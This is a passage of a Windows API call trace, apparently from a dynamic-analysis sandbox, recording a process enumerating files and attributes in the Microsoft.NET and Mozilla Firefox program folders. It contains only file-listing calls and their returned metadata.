	[0055.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c210700, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x523e72d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c210700, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x7a3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0055.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8de7800, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5253df30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8de7800, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.stdformat.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0055.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e72900, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e72900, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatasrc.dll", cAlternateFileName="MSDATA~1.DLL")) returned 1
	[0055.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1
	[0055.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.374] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.375] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.mshtml.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc8c8 | out: lpFileInformation=0x123fc8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c210700, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x523e72d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c210700, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x7a3000)) returned 1
	[0055.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.stdformat.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc918 | out: lpFileInformation=0x123fc918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8de7800, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5253df30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8de7800, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x3400)) returned 1
	[0055.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\adodb.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd106f400, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd106f400, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x1b000)) returned 1
	[0055.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\msdatasrc.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc9b8 | out: lpFileInformation=0x123fc9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e72900, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e72900, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0055.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\stdole.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fca08 | out: lpFileInformation=0x123fca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
	[0055.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.377] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.377] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.377] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.377] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cf9700, ftCreationTime.dwHighDateTime=0x1cac649, ftLastAccessTime.dwLowDateTime=0x8a491400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc1cf9700, ftLastWriteTime.dwHighDateTime=0x1cac649, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="ASSEMB~1.XML")) returned 1
	[0055.377] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="ASSEMB~2.XML")) returned 1
	[0055.377] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.378] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.378] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cf9700, ftCreationTime.dwHighDateTime=0x1cac649, ftLastAccessTime.dwLowDateTime=0x8a491400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc1cf9700, ftLastWriteTime.dwHighDateTime=0x1cac649, nFileSizeHigh=0x0, nFileSizeLow=0x3d63)) returned 1
	[0055.378] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fcb98 | out: lpFileInformation=0x123fcb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c)) returned 1
	[0055.379] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xecb4f5e0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xecb4f5e0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1
	[0055.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.379] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x124159e0 | out: lpFindFileData=0x124159e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xecb4f5e0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xecb4f5e0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.379] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xecb4f5e0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xecb4f5e0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.379] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef422c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef422c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x23996480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessibleMarshal.dll", cAlternateFileName="ACCESS~1.DLL")) returned 1
	[0055.379] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x774f8200, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0x0, dwReserved1=0x0, cFileName="application.ini", cAlternateFileName="APPLIC~1.INI")) returned 1
	[0055.379] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2431fb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x12670, dwReserved0=0x0, dwReserved1=0x0, cFileName="breakpadinjector.dll", cAlternateFileName="BREAKP~1.DLL")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="browser", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x24ca9180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1ca70, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter.exe", cAlternateFileName="CRASHR~1.EXE")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x45382300, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0xfa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter.ini", cAlternateFileName="CRASHR~1.INI")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xfd9a7300, ftLastWriteTime.dwHighDateTime=0x1cafd02, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x0, cFileName="D3DCompiler_43.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="defaults", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x52aed680, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dictionaries", cAlternateFileName="DICTIO~1")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x25fbbe80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x43470, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x49c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2ac07280, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x34ca70, dwReserved0=0x0, dwReserved1=0x0, cFileName="gkmedias.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaeef6000, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb125e740, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x5aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.log", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2b590900, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xfa70, dwReserved0=0x0, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2c8a3600, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x86270, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x2f7f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice_installer.exe", cAlternateFileName="MAINTE~2.EXE")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2e53f980, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4270, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozalloc.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2eec9000, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1fe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozglue.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x314eea00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x336470, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozjs.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0x66d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp100.dll", cAlternateFileName="")) returned 1
